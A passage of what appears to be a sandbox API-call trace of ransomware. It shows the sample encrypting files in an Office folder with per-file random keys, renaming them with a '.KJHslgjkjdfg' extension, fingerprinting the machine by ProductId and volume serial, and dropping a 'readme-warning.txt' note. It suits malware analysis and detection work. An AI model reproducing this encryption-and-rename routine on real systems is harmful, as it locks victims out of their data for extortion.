hHeap=0x990000, dwFlags=0x0, lpMem=0x9b5500 | out: hHeap=0x990000) returned 1 [0163.766] GetProcessHeap () returned 0x990000 [0163.766] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0163.766] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll.kjhslgjkjdfg")) returned 1 [0163.767] CloseHandle (hObject=0x114) returned 1 [0163.767] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c620a00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee8f1b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c620a00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="MSOINT~2.IDX")) returned 1 [0163.767] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0163.769] GetProcessHeap () returned 0x990000 [0163.769] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0163.769] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0163.769] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0163.769] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0163.769] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0163.769] GetProcessHeap () returned 0x990000 [0163.769] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x50) returned 0x9b5500 [0163.769] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b5500*, pdwDataLen=0x29defd0*=0x50, dwBufLen=0x50 | out: pbData=0x9b5500*, pdwDataLen=0x29defd0*=0x50) returned 1 [0163.769] CryptDestroyKey (hKey=0x9b6668) returned 1 [0163.770] WriteFile (in: hFile=0x114, lpBuffer=0x9b5500*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b5500*, lpNumberOfBytesWritten=0x29defe8*=0x50, lpOverlapped=0x0) returned 1 [0163.772] WriteFile (in: hFile=0x114, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0163.772] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0163.772] WriteFile (in: hFile=0x114, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0163.772] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0163.772] WriteFile (in: hFile=0x114, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0163.773] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0163.773] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0163.773] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.773] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x100000, lpOverlapped=0x0) returned 1 [0163.793] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x100000, dwBufLen=0x100000 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x100000) returned 1 [0163.805] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.805] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x100000, lpOverlapped=0x0) returned 1 [0163.807] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x153064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.807] WriteFile (in: hFile=0x114, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0163.808] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.808] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x52f80, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x52f80, lpOverlapped=0x0) returned 1 [0163.816] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x52f80, dwBufLen=0x52f80 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x52f80) returned 1 [0163.820] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.820] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x52f80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x52f80, lpOverlapped=0x0) returned 1 [0163.821] CryptDestroyKey (hKey=0x9b6668) returned 1 [0163.821] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x153064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.821] SetEndOfFile (hFile=0x114) returned 1 [0163.824] GetProcessHeap () returned 0x990000 [0163.824] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b5500 | out: hHeap=0x990000) returned 1 [0163.824] GetProcessHeap () returned 0x990000 [0163.825] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0163.825] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.kjhslgjkjdfg")) returned 1 [0163.849] CloseHandle (hObject=0x114) returned 1 [0163.849] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSSOAPR3.DLL", cAlternateFileName="")) returned 1 [0163.849] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356f9800, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x356f9800, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OARPMANR.DLL", cAlternateFileName="")) returned 1 [0163.849] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d183e00, ftCreationTime.dwHighDateTime=0x1ca520c, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d183e00, ftLastWriteTime.dwHighDateTime=0x1ca520c, nFileSizeHigh=0x0, nFileSizeLow=0x795, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="README.HTM", cAlternateFileName="")) returned 1 [0163.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0163.852] GetProcessHeap () returned 0x990000 [0163.852] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0163.852] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0163.852] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0163.852] WriteFile (in: hFile=0x114, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xb, lpOverlapped=0x0) returned 1 [0163.857] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0163.857] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0163.857] GetProcessHeap () returned 0x990000 [0163.857] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0163.857] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0163.857] CryptDestroyKey (hKey=0x9b6668) returned 1 [0163.857] WriteFile (in: hFile=0x114, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0163.857] WriteFile (in: hFile=0x114, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0163.857] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0163.858] WriteFile (in: hFile=0x114, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0163.858] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0163.858] WriteFile (in: hFile=0x114, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0163.858] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0163.858] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0163.858] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.858] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x795, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x795, lpOverlapped=0x0) returned 1 [0163.858] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x7a0, dwBufLen=0x7a0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x7a0) returned 1 [0163.858] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.858] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x7a0, lpOverlapped=0x0) returned 1 [0163.858] CryptDestroyKey (hKey=0x9b6668) returned 1 [0163.858] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.858] SetEndOfFile (hFile=0x114) returned 1 [0163.860] GetProcessHeap () returned 0x990000 [0163.860] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0163.860] GetProcessHeap () returned 0x990000 [0163.860] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0163.860] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.kjhslgjkjdfg")) returned 1 [0163.860] CloseHandle (hObject=0x114) returned 1 [0163.861] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 1 [0163.861] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 0 [0163.861] GetProcessHeap () returned 0x990000 [0163.861] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0163.861] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0163.861] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0163.861] CryptDestroyKey (hKey=0x9b6668) returned 1 [0163.861] GetProcessHeap () returned 0x990000 [0163.861] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0163.861] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0163.861] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0163.861] CryptDestroyKey (hKey=0x9b6668) returned 1 [0163.861] GetProcessHeap () returned 0x990000 [0163.861] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9b7de8 [0163.861] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0163.861] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b7de8, pdwDataLen=0x29dee20 | out: pbData=0x9b7de8, pdwDataLen=0x29dee20) returned 1 [0163.861] CryptDestroyKey (hKey=0x9b6668) returned 1 [0163.861] GetProcessHeap () returned 0x990000 [0163.861] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0163.861] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0163.861] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0163.861] CryptDestroyKey (hKey=0x9b6668) returned 1 [0163.861] GetProcessHeap () returned 0x990000 [0163.861] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0163.862] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0163.862] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0163.862] CryptDestroyKey (hKey=0x9b6668) returned 1 [0163.862] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x114) returned 0x0 [0163.862] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0163.862] RegCloseKey (hKey=0x114) returned 0x0 [0163.862] GetProcessHeap () returned 0x990000 [0163.862] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0163.862] GetProcessHeap () returned 0x990000 [0163.862] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0163.862] GetProcessHeap () returned 0x990000 [0163.862] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0163.862] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0163.862] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0163.862] CryptDestroyKey (hKey=0x9b6668) returned 1 [0163.862] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0163.862] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0163.863] GetProcessHeap () returned 0x990000 [0163.863] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0163.863] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0163.863] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0163.863] GetProcessHeap () returned 0x990000 [0163.863] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9e2cd8 [0163.863] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\readme-warning.txt") returned 79 [0163.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0163.863] WriteFile (in: hFile=0x114, lpBuffer=0x9e2cd8*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9e2cd8*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0163.864] CloseHandle (hObject=0x114) returned 1 [0163.864] GetProcessHeap () returned 0x990000 [0163.865] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7de8 | out: hHeap=0x990000) returned 1 [0163.865] GetProcessHeap () returned 0x990000 [0163.865] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9e2cd8 | out: hHeap=0x990000) returned 1 [0163.865] GetProcessHeap () returned 0x990000 [0163.865] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0163.865] GetProcessHeap () returned 0x990000 [0163.865] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0163.865] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.865] GetProcessHeap () returned 0x990000 [0163.865] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b50 | out: hHeap=0x990000) returned 1 [0163.865] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703dbc00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xd80a4ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x703dbc00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x310788, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0163.865] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd80f11a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0163.865] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xa990, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEERR.DLL", cAlternateFileName="")) returned 1 [0163.865] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xf73a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEES.DLL", cAlternateFileName="")) returned 1 [0163.865] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, 